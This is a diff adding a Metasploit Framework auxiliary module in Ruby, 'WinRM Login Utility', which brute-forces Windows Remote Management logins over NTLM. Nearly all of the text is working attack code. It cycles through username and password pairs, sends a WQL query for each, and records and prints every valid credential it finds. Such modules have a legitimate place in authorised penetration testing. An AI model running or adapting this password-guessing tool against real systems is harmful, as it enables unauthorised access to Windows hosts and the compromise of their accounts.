|
| 1 | +## |
| 2 | +# $Id$ |
| 3 | +## |
| 4 | + |
| 5 | +## |
| 6 | +# This file is part of the Metasploit Framework and may be subject to |
| 7 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 8 | +# web site for more information on licensing and terms of use. |
| 9 | +# http://metasploit.com/ |
| 10 | +## |
| 11 | + |
| 12 | + |
| 13 | +require 'msf/core' |
| 14 | +require 'rex/proto/ntlm/message' |
| 15 | + |
| 16 | +class Metasploit3 < Msf::Auxiliary |
| 17 | + |
| 18 | + include Msf::Exploit::Remote::WinRM |
| 19 | + include Msf::Auxiliary::Report |
| 20 | + include Msf::Auxiliary::AuthBrute |
| 21 | + |
| 22 | + include Msf::Auxiliary::Scanner |
| 23 | + |
| 24 | + def initialize |
| 25 | + super( |
| 26 | + 'Name' => 'WinRM Login Utility', |
| 27 | + 'Version' => '$Revision$', |
| 28 | + 'Description' => %q{ |
| 29 | + This module attempts to authenticate to a WinRM service. It currently |
| 30 | + works only if the remote end allows Negotiate(NTLM) authentication. |
| 31 | + Kerberos is not currently supported. |
| 32 | + }, |
| 33 | + 'References' => |
| 34 | + [ |
| 35 | + |
| 36 | + ], |
| 37 | + 'Author' => [ 'thelightcosine' ], |
| 38 | + 'References' => |
| 39 | + [ |
| 40 | + [ 'CVE', '1999-0502'] # Weak password |
| 41 | + ], |
| 42 | + 'License' => MSF_LICENSE |
| 43 | + ) |
| 44 | + |
| 45 | + end |
| 46 | + |
| 47 | + |
| 48 | + def run_host(ip) |
| 49 | + unless accepts_ntlm_auth |
| 50 | + print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth" |
| 51 | + return |
| 52 | + end |
| 53 | + each_user_pass do |user, pass| |
| 54 | + resp,c = send_request_ntlm(test_request) |
| 55 | + if resp.nil? |
| 56 | + print_error "Got no reply from the server, connection may have timed out" |
| 57 | + return |
| 58 | + elsif resp.code == 200 |
| 59 | + cred_hash = { |
| 60 | + :host => ip, |
| 61 | + :port => rport, |
| 62 | + :sname => 'winrm', |
| 63 | + :pass => pass, |
| 64 | + :user => user, |
| 65 | + :source_type => "user_supplied", |
| 66 | + :active => true |
| 67 | + } |
| 68 | + report_auth_info(cred_hash) |
| 69 | + print_good "Valid credential found: #{user}:#{pass}" |
| 70 | + elsif resp.code == 401 |
| 71 | + print_error "Login failed: #{user}:#{pass}" |
| 72 | + else |
| 73 | + print_error "Recieved unexpected Response Code: #{resp.code}" |
| 74 | + end |
| 75 | + end |
| 76 | + end |
| 77 | + |
| 78 | + |
| 79 | + def test_request |
| 80 | + data = winrm_wql_msg("Select Name,Status from Win32_Service") |
| 81 | + end |
| 82 | + |
| 83 | +end |
0 commit comments